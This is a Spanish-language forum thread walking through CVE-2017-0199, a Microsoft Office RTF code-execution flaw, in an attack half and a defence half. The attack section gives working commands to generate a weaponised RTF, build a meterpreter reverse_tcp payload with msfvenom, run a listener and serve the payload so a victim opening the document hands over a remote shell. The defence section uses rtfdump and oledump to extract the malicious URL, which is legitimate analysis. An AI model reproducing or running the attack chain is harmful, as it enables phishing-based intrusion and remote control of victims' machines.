CVE-2017-0199 - Análisis y Generación

Iniciado por blackdrake, Enero 28, 2018, 06:42:55 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 28, 2018, 06:42:55 AM Ultima modificación: Enero 28, 2018, 06:45:13 AM por blackdrake
Hola a todos!

Hoy os traigo un aporte sobre el CVE-2017-0199, ésta es una vulnerabilidad de ejecución de código arbitrario en Microsoft Office que se manifiesta debido a un manejo incorrecto de los archivos de formato de texto enriquecido (RTF).


Por lo general se ha detectado el ataques en mensajes de correo electrónico donde la víctima abre un documento específicamente diseñado para explotar la vulnerabilidad. Es importante mencionar que esta vulnerabilidad continúa siendo explotada activamente.



Ataque


En este caso empezaremos por el principio, la creación del documento, se puede crear de forma manual, pero a día de hoy existen generadores para ahorrar tiempo, por lo que en este caso lo utilizaremos así, yo he usado este No tienes permitido ver enlaces. Registrate o Entra a tu cuenta aunque podéis utilizar el que vosotros queráis.

Primero generamos el RTF.

Código: bash
python cve-2017-0199_toolkit.py -M gen -t RTF -w underc0de.rtf -u http://TUIP/logo.doc



Generamos el meterpreter (OPCIONAL)

Código: bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=TUIP LPORT=4444 -f exe > /tmp/shell.exe
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST TUIP; run"


Iniciamos la tool en modo exploit
Código: bash
python cve-2017-0199_toolkit.py -M exp -t RTF -e http://TUIP/shell.exe -l /tmp/shell.exe



El gráfico actual de ataque sería el siguiente:


Aunque también podemos utilizarlo en modo remoto de la siguiente forma.


Al abrir nuestro documento nos aparecerá el siguiente error, si la víctima pulsa "Si" nuestro servidor recibirá la petición y recibiremos nuestra sesión de meterpreter





Defensa


Ahora que ya tenemos nuestro documento, es hora del análisis, para ello utilizaremos una tool desarrollada en python llamada rtfdump, utilizaremos esta herramienta para sacar la URL verdadera y llegar a la conclusión de si el fichero RTF es seguro o no.

En primer lugar abriremos nuestro documento a través de la rtfdump.
Código: bash
python rtfdump.py  underc0de.rtf



Como nos devuelve mucha información, cerraremos el cerco buscando únicamente los objetos OLE 1.0 que tiene nuestro documento.
Código: bash
python rtfdump.py -f O underc0de.rtf


Obtenemos un único objeto con el índice 10.



Hacemos una búsqueda más exhaustiva de nuestro índice.

Código: bash
python rtfdump.py -s 10  underc0de.rtf | more



En este volcado hexadecimal / ascii, podemos ver que el texto comienza con 01050000 02000000, lo que significa que es un objeto OLE 1.0. Además detectamos el string d0cf11e0, suponiendo que contiene un archivo OLE.

Con la opición -H, convertiremos los caracteres hexadecimales a binario:

Código: bash
python rtfdump.py -s 10  -H underc0de.rtf | more



Obtenemos el string OLE2Link, a la que se ha hecho referencia. Con la opción -i, podemos obtener más información sobre el objeto incrustado:

Código: bash
python rtfdump.py -s 10 -H -i underc0de.rtf



Ahora que estamos seguros de que es un fichero OLE incrustado utilizamos -E para extraerlo.

Código: bash
python rtfdump.py -s 10 -H -E underc0de.rtf



Para analizar este fichero, utilizaremos oledump (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta), oledump necesita el modulo olefile, por lo que si no lo tenéis, deberéis instalarlo antes (pip install -U olefile)

Utilizando -d y un pipeline, le pasaremos el fichero extraído a oledump.

Código: bash
python rtfdump.py -s 10 -H -E -d underc0de.rtf | oledump.py



Obtenemos 3 resultados, vamos a echarle un vistazo al primero mediante el siguiente comando.

Código: bash
python rtfdump.py -s 10 -H -E -d underc0de.rtf | python oledump.py -s 1


Y finalmente obtenemos la URL del documento infectado.


Espero que os haya gustado,

Un saludo.



Está genial @No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, en cuanto pueda lo pruebo.


Jugar o perder

Puedes hacer otro explicando Exploits de php?